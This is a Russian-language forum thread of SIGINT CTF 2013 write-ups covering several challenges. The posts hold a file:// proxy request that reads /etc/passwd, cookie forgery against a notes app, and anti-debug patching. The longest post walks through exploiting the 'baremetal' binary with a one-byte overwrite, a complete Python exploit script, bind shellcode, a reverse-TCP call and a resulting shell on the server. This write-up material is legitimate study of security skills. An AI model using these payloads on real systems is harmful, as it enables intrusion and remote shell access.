Старый 07.07.2013, 20:52   #1
4_tochka
 
Регистрация: 07.07.2013
Сообщений: 6
Репутация: 0
По умолчанию SIGINT CTF 2013

Кто учасвтовал, поделитесь решениями

Особенно интересует

misc - proxy 200

cloud - git 500

misc - protocol 200

pwing baremetal 100

reversing fenster 400
4_tochka вне форума   Ответить с цитированием
Старый 08.07.2013, 01:26   #2
wget
 
Аватар для wget
 
Регистрация: 16.06.2012
Сообщений: 33
Репутация: 5
По умолчанию

Цитата:
Сообщение от 4_tochka Посмотреть сообщение
misc - proxy 200
Proxy

Отсылаем проксе запрос:
Код:
GET file://localhost/../etc/passwd HTTP/1.0
@Получаем /etc/passwd с флагом (прокатывает, т.к. urllib2 кроме http://, ftp:// и т.п. поддерживает еще и этот хэндлер)

На счет git - не решил, но имею на эту тему догадки:
логин и пароль генерируются рубийский rand()-ом, который является модифицированным mersenne twister-ом. Соответственно нам нужно получить 624 числа последовательно им сгенерированных (просто отправить 312 запросов на регистрацию), и мы научимся предсказывать его. Далее ответ очевиден, дойдя до логина, следующим будет пароль.

Протокол - видимо просто использовался нестандартный протокол транспортного уровня (типа DCCP, что ли) - лень было копать

ну и раз я решил что-то кроме прокси, то запощу еще и его.
cloud - notes
С первого взгляда нам кажется, что никаких багов нет, все проверяется. Но потом наш взгляд падает на авторизацию:
Код:
login_time= Time.now.to_i.to_s
login_token= user.login_token(login_time)
Rack::Utils.set_cookie_header!(cookie, "login_name", user.name)
Rack::Utils.set_cookie_header!(cookie, "login_time", login_time)
Rack::Utils.set_cookie_header!(cookie, "login_token", login_token)
Код:
def login_token(salt)
			check_authorized
			password_data= Data.new(@user_dir+"password_hash")
			password_data.readlock do
				Digest::SHA256.hexdigest(password_data.read+salt)
			end
		end
т.е. login_token = sha256(bcrypt_hash+login_time)
Значит нам нужно получить хэш админа, который по случайному совпадению оказался в /data/users/admin/password_hash в исходниках. Меняем куки, логинимся на сайте, у нас отображаются вообще все заметки всех юзеров. Та, что с флагом называется admin/secret.

Догадка про satisfaction - брался crc32 кода, после чего возводился в некую степень по некому модулю, и он после всего этого должен был не измениться. Мне кажется, намек на метод патчинга crc32, ну а чтобы он не изменился после возведения в степень по модулю, его нужно было патчить в 00000000 (может как-то криво описал, прошу прощения).

Последний раз редактировалось wget; 08.07.2013 в 01:52..
wget вне форума   Ответить с цитированием
Старый 08.07.2013, 03:04   #3
4_tochka
 
Регистрация: 07.07.2013
Сообщений: 6
Репутация: 0
По умолчанию

http://meta.security.stackexchange.com/questions/1332/sigint-ctf-2013-starts-friday-5-july-1600-gmt
4_tochka вне форума   Ответить с цитированием
Старый 08.07.2013, 14:16   #4
OKOB
 
Регистрация: 08.07.2013
Сообщений: 1
Репутация: 0
По умолчанию

reversing fenster 400

Жертва PE 32-bit.
Весь вкусный код упрятан под обратимое криптование (одна и та-же функция используется для uncrypt/decypt).
Из антиотладки IsDebuggerPresent, получение флага трассировки (push ss, pop ss, pushf, pop eax) и TimeBomb в отдельном потоке с уставкой 1337. Антиотладка заведена также на TLS callback.

Все это распаковывается без последующей запаковки.
После патчится:
.text:0040194B retn
.text:00401AB5 retn
.text:004018F5 xor eax,eax; retn
и больше не мешает.

Под капотом, как и было обещано
'Welcome to another round of fun with Regexes from HELL!',
то, что может быть в какой-то степени сведено к регэкспам.
7 проверок с разным количеством правил (15,12,8,17,24,4,2).
В ключе доступны символы [A-Z].
Я описывал правила в виде (1я проверка)
/////////////////////////////////////////////////////////////// RULES 1 [15]
1 -- all-02 любой символ
2 -- all-00=E-03 только E
3 -- all-04=E-00=N-00 любой кроме Е и N
4 -- all-04=E-05=N-00 цепочка любых символов кроме N, заканчивающаяся Е
5 -- all-00=N-06 только N
6 -- all-06=E-07=N-00 цепочка любых символов кроме N, заканчивающаяся Е
7 -- all-08=E-00=N-00 любой кроме Е и N
8 -- all-08=E-09=N-00 цепочка любых символов кроме N, заканчивающаяся Е
9 -- all-00=N-10 только N
10 - all-11=E-00=N-00 любой кроме Е и N
11 - all-11=E-12=N-00 цепочка любых символов кроме N, заканчивающаяся Е
12 - all-13=E-00=N-00 любой кроме Е и N
13 - all-13=E-14 только E
14 - all-00=N-15 только N
15 - all-00

В результате обработки этих правил проверяется на каком правиле закончилась обработка последнего символа ключа (в данном случае 15).

Попытался записывать регэкспы
([A-Z]{1})(E)([^EN]{1})([^N]+E)(N)([^N]+E)([^EN]{1})([^N]+E)(N)([^EN]{1})([^N]+E)([^EN]{1})(E)(N),
но для последующих проверок не очень получилось, так что обошелся без них.

Длина ключа явно нигде не проверяется, но 4я проверка нам дает длину 16 байт:
/////////////////////////////////////////////////////////////// RULES 4 [17]
1 -- all-02 любой символ
2 -- all-03 любой символ
3 -- all-04 любой символ
4 -- all-05 любой символ
5 -- all-06 любой символ
6 -- all-07 любой символ
7 -- all-08 любой символ
8 -- all-09 любой символ
9 -- all-10 любой символ
10 - all-11 любой символ
11 - all-12 любой символ
12 - all-13 любой символ
13 - all-14 любой символ
14 - all-15 любой символ
15 - all-16 любой символ
16 - all-17 любой символ
17 - all-00

Другие наборы правил выглядят в моей интерпретации, как
/////////////////////////////////////////////////////////////// RULES 2 [1]
1 -- C-09=E-06;07=G-05;12=N-02;08=R-04;11=S-03;10
2 -- W-01 NW
3 -- E-01 SE
4 -- E-01 RE
5 -- E-01 GE
6 -- N-01 EN
7 -- S-01 ES
8 -- E-01 NE
9 -- H-01 CH
10 - W-01 SW
11 - G-01 RG
12 - all-00 G0
/////////////////////////////////////////////////////////////// RULES 3 [8]
1 -- E-01;02=N-01;02=R-01;02
2 -- E-02;03=G-02;03=N-02;03
3 -- E-03;04=N-03;04=S-03;04
4 -- C-04;05=E-04;05=N-04;05
5 -- E-05;06=H-05;06=N-05;06
6 -- E-06;07=N-06;07=S-06;07
7 -- E-07;08=N-07;08=W-07;08
8 -- E-08=N-08=S-08
/////////////////////////////////////////////////////////////// RULES 5 [24]
1 -- all-01=G-04=R-07=S-02=W-13
2 -- all-02=G-05=R-08=S-03=W-14
3 -- all-03=G-06=R-09=S-00=W-15
4 -- all-04=G-00=R-10=S-05=W-16
5 -- all-05=G-00=R-11=S-06=W-17
6 -- all-06=G-00=R-12=S-00=W-18
7 -- all-07=G-10=R-00=S-08=W-19
8 -- all-08=G-11=R-00=S-09=W-20
9 -- all-09=G-12=R-00=S-00=W-21
10 - all-10=G-00=R-00=S-11=W-22
11 - all-11=G-00=R-00=S-12=W-23
12 - all-12=G-00=R-00=S-00=W-24
13 - all-13=G-16=R-19=S-14=W-00
14 - all-14=G-17=R-20=S-15=W-00
15 - all-15=G-18=R-21=S-00=W-00
16 - all-16=G-00=R-22=S-17=W-00
17 - all-17=G-00=R-23=S-18=W-00
18 - all-18=G-00=R-24=S-00=W-00
19 - all-19=G-22=R-00=S-20=W-00
20 - all-20=G-23=R-00=S-21=W-00
21 - all-21=G-24=R-00=S-00=W-00
22 - all-22=G-00=R-00=S-23=W-00
23 - all-23=G-00=R-00=S-24=W-00
24 - all-24=G-00=R-00=S-00=W-00
/////////////////////////////////////////////////////////////// RULES 6 [4]
1 -- all-01=R-01;02
2 -- all-02;03
3 -- G-04
4 -- all-04
/////////////////////////////////////////////////////////////// RULES 7 [1]
1 -- all-01=N-02 после N не должно быть S
2 -- all-02=S-00

Строка удовлетворяющая всем проверкам REGENECHSENWESEN и есть флаг.

Последний раз редактировалось OKOB; 08.07.2013 в 14:45..
OKOB вне форума   Ответить с цитированием
Старый 08.07.2013, 19:46   #5
honeyjonny
 
Регистрация: 28.05.2012
Сообщений: 1
Репутация: 4
По умолчанию

pwing baremetal 100

Нам дан очень маленький бинарник под Линух. Сразу после его дизассемлирования становится понтяно почему таска называется baremetal - написан он на чистом асме.
И написан он весьма интересно - работает всего на 3 прерываниях int 80h : SYS_write, SYS_read и SYS_exit.
Соответвенно он будет нам писать, читать и выключать

На серваке он видимо запущен как то вроде nc -l -p 1024 -e ./baremetal , но это нам в целом не важно...

Дизасембируем в иде, автоматом она распознает только одну функцию по адресу 0x804813B (а больше там и нету ) и точку входа в сегмент кода 0x08048080 .

Сразу о функции по адресу 0x804813B ( далее sub_804813B ).
Она весьма простая и в тоже время интересная, всего 2 команды:

Код:
.text:0804813B                sub_804813B     proc near              
.text:0804813B                                                        
.text:0804813B 5F                            pop     edi
.text:0804813C FF E7                         jmp     edi
Работает по принципу: стягивает адрес возврата с вершины стека в edi и прыгает на него.
Через эту функцию работает весь код в бинарнике.
Так же, предварительно, перед вызовом этой функции на вершину стека всегда кладутся какие то значения.

Для чего это надо - смотрим дальше.

Вообще, если присмотреться, весь код этого бинарника состоит из некоторого количества блоков инструкий, которые всегда завершаются безусловной командой jmp куда то по адресу - адрес часто разный.

Давайте разберемся...
Начнем с головы.

Первый блок инструкций, точка входа:

Код:
.text:08048080 68 98 91 04 08                 push    offset aBaremetalOnlin ; "baremetal online\n"
.text:08048085 E8 B1 00 00 00                 call    sub_804813B
.text:0804808A E9 CD 00 00 00                 jmp     loc_804815C
прыгнет:

Код:
.text:0804815C                loc_804815C:                            
.text:0804815C                                                        
.text:0804815C 31 C0                        xor     eax, eax
.text:0804815E 5B                           pop     ebx
.text:0804815F
.text:0804815F                loc_804815F:                            
.text:0804815F 0F B6 0B                     movzx   ecx, byte ptr [ebx]
.text:08048162 84 C9                        test    cl, cl
.text:08048164 74 04                        jz      short loc_804816A
.text:08048166 40                           inc     eax
.text:08048167 43                           inc     ebx
.text:08048168 EB F5                        jmp     short loc_804815F
.text:0804816A                ; ---------------------------------------------------------------------------
.text:0804816A
.text:0804816A                loc_804816A:                            
.text:0804816A 83 C7 02                     add     edi, 2
.text:0804816D EB CF                        jmp     short loc_804813E
Немножно покурив блок инструкций по адресу 0x0804815C становится понятно зачем первым push был положен в стек адрес строчки "barmetal online\n" и зачем нам было брать адрес возврата из функции sub_804813B и так изощренно из нее выходить.

По сути, что тут происходит: блок инструкций по адресу loc_804815F крутит байты строчки начиная с первого, пока не встретит нулл-байт в конце, одновременно с этим увеличивая на один число пройденный байтов, которое у нас содержится в eax.

Внимание, але-оп, это ассемблерный аналог функции strlen("barmetal online\n")
Вот она какая...

Далее, когда мы встретили нулл-байт в конце строки, переходим по адресу loc_804816A и тут все еще интереснее - добавляем 2 к адресу в edi и прыгаем еще куда то!

А прыгаем мы вот сюда:

Код:
.text:0804813E                loc_804813E:
.text:0804813E 8B 0F                       mov     ecx, [edi]
.text:08048140 84 C9                       test    cl, cl
.text:08048142 75 03                       jnz     short loc_8048147
.text:08048144 47                          inc     edi
.text:08048145 EB F7                       jmp     short loc_804813E
.text:08048147                ; ---------------------------------------------------------------------------
.text:08048147
.text:08048147                loc_8048147:                            
.text:08048147 FF E7                       jmp     edi
Тут вообще все классно - смотрим что у нас по адресу в edi, если не 0 - прыгаем по этому адресу!
Если 0 - идем к следующему байту в памяти.

Если вы уже поняли что к чему - гут.
Если нет...
Спокойно. Щас все станет ясно!

Вспомните, когда произошел вызов функции sub_804813B, на вершину стека поместился адрес её возврата, т.е 0x0804808A, потом команда pop edi уперла его и с того момента edi стал указателем на этот адрес. Собственно потом поток управления прыгнул по нему (по адресу в edi, т.е. 0x0804808A) и тут уже началась эта веселая свистопляска и измерением длины строчки.
Пока мы мерили строчку edi никак не изменялся и к моменту когда пришло время сделать add edi,2 он все так же содержал адрес 0x0804808A и указывал на код jmp loc_804815C.

Соответственно, прибавляя 2 к этому адресу мы получили 0x0804808С.

Если включить в иде отображение опкодов и посмотреть что же находится по адресу 0x0804808С - мы как раз таки увидим нули, целых три, подряд, а все почему?
Потому что команда

jmp loc_804815C в опкодах выглядит E9 CD 00 00 00, где первый байт - это опкод jmp, а следующие 4 это смещение которое будет прибавлено к текущему значению eip и потом код по получившемуся адресу будет выполняться (прибавлено к eip будет 00 00 00 CD, вспомните little-endian, все такое).

Т.е когда мы стянули адрес возврата функции sub_804813B в edi, он стал указывать на опкод E9, прибавили 2, стал указывать на нули и после этого, нехитрыми операциями по адресу loc_804813E мы просто пройдем эти нули до тех пор пока edi не начнет указывать на что то "не нулевое" и тогда мы передадим туда управление.
Ну а вспоминая то, что блоки инструкций в этом бинарнике расположены строго друг под другом - становится понятно, куда управление передастся дальше - прямо на блок инструкций следующий за jmp loc_804815C.

Зарисую:

Код:
.text:08048085 E8 B1 00 00 00                 call    sub_804813B
.text:0804808A E9 CD 00 00 00                 jmp     loc_804815C
               |     |
              edi    edi+2

               сюда мы собвственно придем после всего
               |
.text:0804808F 50                             push    eax             ; eax - strlen
.text:08048090 68 98 91 04 08                 push    offset aBaremetalOnlin ; "baremetal online\n"
Ну и отсюда начнет выполняться уже воторой логический блок инструкций этого бинарника.

Вот таким изъе... изощренным образом у нас работает вообще весь бинарник.
Как же я люблю ассемблер

Ладно, далее и кратко.

След блок:

Код:
.text:0804808F 50                             push    eax             ; eax - strlen
.text:08048090 68 98 91 04 08                 push    offset aBaremetalOnlin ; "baremetal online\n"
.text:08048095 E8 A1 00 00 00                 call    sub_804813B
.text:0804809A E9 AA 00 00 00                 jmp     loc_8048149     ; write
прыгнет:

Код:
.text:08048149                loc_8048149:                            
.text:08048149                                                        
.text:08048149 B8 04 00 00 00                 mov     eax, 4
.text:0804814E BB 01 00 00 00                 mov     ebx, 1
.text:08048153 59                             pop     ecx
.text:08048154 5A                             pop     edx
.text:08048155 CD 80                          int     80h             ; LINUX - sys_write
.text:08048157 83 C7 02                       add     edi, 2
.text:0804815A EB E2                          jmp     short loc_804813E
Читаем ман на http://syscalls.kernelgrok.com/ и понимаем что бинарник сделал все чтобы просто вывести нам приветственную строчку "barmetal online" и передать управление на след блок, через loc_804813E, где он снова смотрит на нули в памяти и тд.

След блок:

Код:
.text:0804809F 8D 05 04 92 04+                lea     eax, unk_8049204
.text:080480A5 C7 00 47 47 FF+                mov     dword ptr [eax], 0E7FF4747h
.text:080480AB 6A 3D                          push    3Dh ; 61 
.text:080480AD 68 C8 91 04 08                 push    offset buff
.text:080480B2 E8 84 00 00 00                 call    sub_804813B
.text:080480B7 E9 B3 00 00 00                 jmp     loc_804816F     ; read
прыгнет:

Код:
.text:0804816F                loc_804816F:                            
.text:0804816F B8 03 00 00 00                 mov     eax, 3
.text:08048174 31 DB                          xor     ebx, ebx
.text:08048176 59                             pop     ecx
.text:08048177 5A                             pop     edx
.text:08048178 CD 80                          int     80h             ; LINUX - sys_read
.text:0804817A 83 C7 02                       add     edi, 2
.text:0804817D EB BF                          jmp     short loc_804813E
Тут уже нечто поинтереснее - по адресу 0x0804809F вычисляется адрес буфера и потом в него записывается 4 байта E7 FF 47 47, запишутся они в обратном порядке, не в таком как отобразила ида, а в виде 47 47 FF E7.

Зачем - узнаете чуть позже.

Далее - все уже привычно - от нас принимается строчка в буфер, длиной в 61 байт.

вновь через loc_804813E ищес след блок, мы с таким уже встречались, он снова считает длину (уже присланной нами) строки до нулл-байта.

Передает управление через loc_804813E на след слок:

Код:
.text:080480CB 83 F8 20                   cmp     eax, 20h ; eax - длина нашей строки до нулл-байта
.text:080480CE 7E 46                      jle     short loc_8048116
.text:080480D0 68 C8 91 04 08             push    offset buff
.text:080480D5 E8 61 00 00 00             call    sub_804813B
.text:080480DA E9 A0 00 00 00             jmp     loc_804817F
Тут осуществляется проверка чтобы длина строки была не меньше 32 байт, в противном случае бинарник таким же изощреным способом выведет нам строку "Bad Sequence", если же длина больше - то управление передается на блок кода:

Код:
.text:0804817F                loc_804817F:                            
.text:0804817F 58                           pop     eax
.text:08048180 31 DB                        xor     ebx, ebx
.text:08048182 31 C9                        xor     ecx, ecx
.text:08048184
.text:08048184                loc_8048184:                            
.text:08048184 8D 14 08                     lea     edx, [eax+ecx]
.text:08048187 0F B6 12                     movzx   edx, byte ptr [edx]
.text:0804818A 84 D2                        test    dl, dl
.text:0804818C 74 05                        jz      short loc_8048193
.text:0804818E 01 D3                        add     ebx, edx
.text:08048190 41                           inc     ecx
.text:08048191 EB F1                        jmp     short loc_8048184
.text:08048193                ; ---------------------------------------------------------------------------
.text:08048193
.text:08048193                loc_8048193:                            ; CODE XREF: .text:0804818Cj
.text:08048193 83 C7 02                     add     edi, 2
.text:08048196 EB A6                        jmp     short loc_804813E
Тут все просто. В виде аргумента - у нас указатель на буфер куда мы прислали строчку, и по нему простым сложением байт в ebx вычисляется нечто вроде "хеша" - все происходит до тех пор, пока на пути не встретится нулл байт.

Надеюсь я вас еще не утомил. Но блин, ребята, реверс он такой...
Проще посмотреть код, чем описать его

Далее снова через loc_804813E мы передаем управление на следующий блок :

Код:
.text:080480DF 81 FB E7 1E 00+                cmp     ebx, 1EE7h
.text:080480E5 75 2F                          jnz     short loc_8048116
.text:080480E7 8D 0D 04 92 04+                lea     ecx, unk_8049204
.text:080480ED 0F B6 19                       movzx   ebx, byte ptr [ecx]
.text:080480F0 85 DB                          test    ebx, ebx
.text:080480F2 74 07                          jz      short loc_80480FB
.text:080480F4 E8 42 00 00 00                 call    sub_804813B
.text:080480F9 FF E1                          jmp     ecx
Тут все еще интереснее - мы сравниваем получившийся в ebx хеш со значением 1EE7h и если они не равны - получаем ответ "Bad Sequence".
Если же равны в ecx вычисляется адресс буфера куда были ранее записаны 4 байта ( 47 47 FF E7 ), проверятеся если первый байт равен нулю - нам просто напишут "Sequence OK", а вот если этот первый байт не равен нулю - все очень интересно - на буфер куда были записаны 4 байта передается управление! (mmm...)

На самом деле, эти 4 байта в ассемблерном коде будут представлены как :

Код:
inc edi    47
inc edi    47
jmp edi   FF E7
Соответственно, если этот код выполнится - управление просто передастся на след блоки которые напишут нам "Sequence OK".

Казалось бы... а где бага обещанная ?

Подождите, а что там с буфером, куда мы можем записывать?

Находится он в секции .bss по адресу 0x080491C8, смотрим его длину и обнаруживаем, что сразу после него располагается тот самый маленький буфер ( адрес 0x08049204 ), куда у нас запишутся 4 исполняемые байта. Ага...
Мы уже очень близко!

Посчитаем между ними разницу 0x08049204 - 0x080491C8 = 60, а записать мы можем в память 61 - И ЭТО БИНГОООО!

Мы можем записать в память целый байт который потом исполнится! А что нам еще для счастья надо? Согласитесь

Теперь стоит подумать о том, как этот байт возвысить то уровня reverse tcp или bind шеллкода.

Но для начала - сформулирую что нам нужно сделать, чтобы этот байт вообще выполнился в итоге:

1. Выслать серверу строчку длиной ровно 61 байт, чтобы перезаписать первый inc edi и получить что то вроде:

Код:
[our byte]
inc edi
jmp edi
2. Пройти проверку того, чтобы длина нашей строки была больше 32 байт (достаточно просто =) )

3. Подобрать такую строчку, чтобы сумма всех байт до нулевого, была равна 1EE7h ( или 7911 )

Последнее условие - является ключевым, ибо только тогда перезаписаный нами байт получает управление.

(Один единственный перезаписанный байт - прямо таки вспоминается vudo эксплойт MaXX в журнале phrack... эх, лирика =) )

Пройти 3е условие по сути так же просто как и второе, просто придется потратить больше времени на разработку эксплойта.
В чем соль: бинарник получает строчку от нас через системное прерывание SYS_read (а это вам не gets какой та) тут можно и нулевые байты пихать, единственное условие - примет этот вызов от нас ровно 61 байт (а нам больше и не надо, нам хватит =) )

Соответственно, отсюда мы имеем возможность контролировать где в строке будет размещен первый нулл-байт, а значит контролируем длину строки, а так же процедуру подсчета "хеша" и количество байт по которому он будет считаться.

Остается только верно подобрать байты строки, так чтобы их сумма была равна 7911 + правильно подобрать 61й байт в строке.

Теперь про этот байт.

Чтобы понять какой именно байт выслать - внимательнее изучим окружение во время исполнения блока проверки "хеша" на равенство 1EE7h.

Все начинатеся с того, что мы проходим проверку на длину строки:

Код:
.text:080480CB 83 F8 20                    cmp     eax, 20h
.text:080480CE 7E 46                       jle     short loc_8048116
.text:080480D0 68 C8 91 04 08              push    offset buff     ; важный момент!
.text:080480D5 E8 61 00 00 00              call    sub_804813B
.text:080480DA E9 A0 00 00 00              jmp     loc_804817F
по переходу jmp loc_804817F у нас как раз считается хеш:

Код:
.text:0804817F                loc_804817F:                          
.text:0804817F 58                           pop     eax	 ; базовый указатель на буфер
.text:08048180 31 DB                        xor     ebx, ebx
.text:08048182 31 C9                        xor     ecx, ecx
.text:08048184
.text:08048184                loc_8048184:                            
.text:08048184 8D 14 08                     lea     edx, [eax+ecx]
.text:08048187 0F B6 12                     movzx   edx, byte ptr [edx]
.text:0804818A 84 D2                        test    dl, dl
.text:0804818C 74 05                        jz      short loc_8048193
.text:0804818E 01 D3                        add     ebx, edx
.text:08048190 41                           inc     ecx
.text:08048191 EB F1                        jmp     short loc_8048184
.text:08048193                ; ---------------------------------------------------------------------------
.text:08048193
.text:08048193                loc_8048193:                          
.text:08048193 83 C7 02                     add     edi, 2
.text:08048196 EB A6                        jmp     short loc_804813E
и тут внимание: процедура подсчета "хеша" начинается с pop eax, когда перед входом в нее был произведен pop offset buff,
где buff - как раз таки адрес буфера в .bss секции, куда запишется наша строка! Есть! У нас есть указатель на нашу строчку!
И если внимательно присмотреться к самой процедуре подсчета "хеша" все вычисления производятся относительно eax как базового указателя, т.е. он нигде не изменяется во время самой процедуры и постоянно указывает прямо на начало уже нашего буфера.
Туда мы и засунем наш код!

И через loc_804813E (процедура которая проходит нулевые байты в памяти) следующий блок который будет исполнен это:

Код:
.text:080480DF 81 FB E7 1E 00+           cmp     ebx, 1EE7h
.text:080480E5 75 2F                     jnz     short loc_8048116
.text:080480E7 8D 0D 04 92 04+           lea     ecx, unk_8049204
.text:080480ED 0F B6 19                  movzx   ebx, byte ptr [ecx]
.text:080480F0 85 DB                     test    ebx, ebx
.text:080480F2 74 07                     jz      short loc_80480FB
.text:080480F4 E8 42 00 00 00            call    sub_804813B
.text:080480F9 FF E1                     jmp     ecx
как раз та самая проверка "хеша"! Мы входим в нее с указателем в eax на контролируемый нами буфер!
И если мы её проходим и при этом записали в 61 байт нашей строки не нулл-байт, а что-то полезное, то именно этот байт впоследствии через jmp ecx и получит управление! И мало того, как всегда это происходит - после вызова функции sub_804813B в edi у нас хранится указатель от которого будет впоследствии отсчитываться следующий блок для исполнения!

То есть мы зайдем в этот четырехбайтовый блок инструкций с таким окружением:

Код:
;в eax - указатель на наш буфер
;в edi - указатель от которого будет отсчитываться след исполняемый блок

[our byte]
inc edi
jmp edi
И именно в этот тонкий момент мы возьмем управление потоком исполнения на себя!
Если вы уже догадались как - прекрасно, скорее всего вы реверсер! Приветствую! =)
Если же еще нет - я сейчас опишу все подробно.

Итак, у нас два указателя, по одному из них будет находиться наш код ( eax ), а по другому ( edi ) потом передастся управление. У нас так же есть возможность перезаписать всего 1 из исполняемых байт и нам нужно сделать так чтобы управление передалось на наш код! Элементарно, Ватсон! Нам нужно указатели в регистрах местами! И 1 байта нам для этого как раз хватит!
У интела есть такое для нас!

(Я постарался сейчас привести наиболее логичный подход для реверсинга и разработки метода эксплуатации такого типа уязвимости - как правильно делать надо
Поскольку когда я решал эту таску - момент какой байт записать 61м был у меня в голове в виде брутфорса мысли "какой бы байт тебе туда засунуть?" и я просто сидел и перебирал в голове варианты, просматривая таблицу опкодов интеловских процессоров, которая между прочим и подсказала мне как решить эту задачку)

Итак, берем таблицу интелоских опкодов ( вот просто отличная http://ref.x86asm.net/coder32.html#x40 ) и ищем однобайтувую команду xchg , которая просто меняет операнды местами.
Описание её таково: 90+r XCHG r16/32,eAX Exchange Register/Memory with Register
+r означает что к базовому опкоду 90 нужно прибавить номер специально закодированного регистра ( edi в нашем случае ) и тогда получится тот самый искомый байт.

Скачиваем великие азы реверсерского искусства под названием IA-32 Intel® Architecture Software Developer’s Manual Volume 2: Instruction Set Reference, листаем и там гдето на страничке 41 (из более чем 900 =) ) есть табличка где показаны кодировки всех регистров общего назначения при построении такого рода команд, узнаем что edi = 7, складываем получаем нужный опкод:

Код:
xchg edi,eax 97
Вот таким интересным образом мы утащим поток управления в нужный нам буфер.
(Кстати говоря, не так давно на phd III проходил hand-on-labs от Антона Дорфмана (researcher), где он углубленно рассказвал про такие тонкие низкоуровневые вещи как построение опкодов команд интеловских процессоров и методы оптимизации и построения на этом минимальных по размеру шеллкодов.
Кого заинтересовало - погуглите.
Просто я сам фанатею от этой темы - собственно поэтому так подробно пишу этот райтап.
За живое зацепило, пацаны!
И простите за флуд! )

И я бы рад закончить свое повествование, но не тут то было! Поскольку строка наша еще должна пройти валидацию в виде хеша + в ней еще должен быть наш шеллкод!

Скажу сразу - изначально я попробовал самый простой метод в виде 21-байтного шеллкода execl('/bin/sh',0,0), но он не отработал (точнее отработал, но не считал сокет своим stdin & stdout и тп, кто знает - поймет).

И тут я решил поразмять пальчики и заняться одним из моих любимых дел - закодить на ассемблере.
Идея следующая:

61 байт для номального шеллкода маловато, тем более для bind - который я использовал (76 байт, нашел тут http://www.shell-storm.org/shellcode/ )
Поэтому я сделал так - когда управление передастся в буфер со строкой, после 3 байтного nop-следа идет самописный пре-шеллкод, который формирует правильные аргументы для вызова блока инструкций SYS_read и передает ему управление по адресу:

Код:
.text:0804816F                loc_804816F:                            
.text:0804816F B8 03 00 00 00                 mov     eax, 3
.text:08048174 31 DB                          xor     ebx, ebx
.text:08048176 59                             pop     ecx
.text:08048177 5A                             pop     edx
.text:08048178 CD 80                          int     80h             ; LINUX - sys_read
.text:0804817A 83 C7 02                       add     edi, 2
.text:0804817D EB BF                          jmp     short loc_804813E
Записываю я ровно 76 байт в буфер который расположен на 3 байта дальше начала нашей строчки:

графически я зарисовал себе это вот так:

Код:
            buff         buff+3
            |            | 
jmp edi --> [nop nop nop | pre_shellcode] --> sys_read(buff+3, 76) --> add edi,2; jmp loc_804813E --> jmp edi+2
            |        |                               /|\
            edi      edi+2                            |
                                              stdin:bind_shellcode
т.е в итоге получится буфер, содержащий:

Код:
[nop nop nop | bind_shellcode]
         |
         edi
и управление передастся по адресу edi.

Код:
;код pre_shellcode.asm
;я использую nasm ассемблер
section .text

bits 32

global _start

_start:

nop                 ; nop-sled
nop
nop
xor edx,edx
mov dl,0x4c		      ; len sc
push edx
mov ecx, 0x080491CB ; pBuff
push ecx
mov eax, 0x0804816F ; pSYS_read
jmp eax
nop			      ; paddind =)
компилирую его в опкоды (для этого я еще когда начинал учиться написал утилитку на питоне которая это делает через nasm https://github.com/honeyjonny/escalation/tree/master/utils )

Код:
python bytecode.py pre_shellcode.asm nrb
Пишем эксплойт:

Код:
#!/usr/bin/python
# coding: UTF-8

from socket import *
import struct, shellgen, time

rev_tcp = shellgen.linux().reverse_tcp('192.168.2.52',5555)
bind = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a" +\
"\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68" + \
"\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1" + \
"\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd" + \
"\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f" + \
"\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f" + \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" + \
"\x41\xcd\x80\x90\x90\x90";
print 'len bindport: ', len(bind)

sh = '\x90\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

pre_shellcode = '\x90\x90\x90\x31\xd2\xb2\x4c\x52\xb9\xcb\x91\x04\x08\x51\xb8\x6f\x81\x04\x08\xff\xe0\x90'
print 'len pre_sc: ', len(pre_shellcode)

pdd = '\xff'*20 + '\x63'

nul = '\x00'*17

xchg = '\x97'

exp = ''

exp += pre_shellcode + pdd
print 'len pre+pdd: ', len(exp)

acm = 0

for i in exp:
    acm += ord(i)

print 'str summ: ', acm

exp += nul + xchg
print 'len exp: ', len(exp)

s = socket(AF_INET, SOCK_STREAM)
s.connect(('188.40.147.100', 1024))

print s.recv(1000)
try:
    raw_input("exploit...")
except:
    pass

s.send(exp)

time.sleep(1)

try:
    raw_input("shellcode...")
except:
    pass

s.send(bind)

print 'done'
Единственное что я пока не упомянул - это обход подсчета "хеша", но он достаточно простой, для моего скомпиленного pre_shellcode
я посчитал сумму всех байт + добрал байтами 0xff максимально близко к 7911 и добавил недостающее до 7911 (0x63 в моем случе) число еще одним байтом.
Остальную строчку до 60-го байта заполнил нулями и 61-м байтом записал 0x97, т.е. получилась строка вида:

Код:
[pre_shellcode | 0xff_padd | 0x63 | null_bytes | 0x97]
                                               |
                                               60
Я не использовал reverse tcp потому что на тот момент не было у меня белого ип для него.
Но в этом случае прекрасно сработал и bind шеллкод.
Можете попробовать другие шеллкоды, если хотите, эксплойт получился шеллкодо-независимым.

запускаю.

Код:
len bindport:  76
len pre_sc:  22
len pre+pdd:  43
str summ:  7911
len exp:  61
baremetal online

exploit...
shellcode...
done
пробуем зацепиться:

Код:
nc 188.40.147.100 11111
pwd
/
cd /home/challenge
ls
baremetal
flag
cat flag
SIGINT_are_you_getting_warmed_up?
Флаг: SIGINT_are_you_getting_warmed_up?

Последний раз редактировалось honeyjonny; 09.07.2013 в 01:50..
honeyjonny вне форума   Ответить с цитированием
Старый 09.07.2013, 03:14   #6
wget
 
Аватар для wget
 
Регистрация: 16.06.2012
Сообщений: 33
Репутация: 5
По умолчанию

cloud/git write-up: http://worlds.fattest.cat/ctf/sigint-ctf-git.html (англ)
мои догадки были неверными, все таки git hash-object на фотографии делался не зря)
wget вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot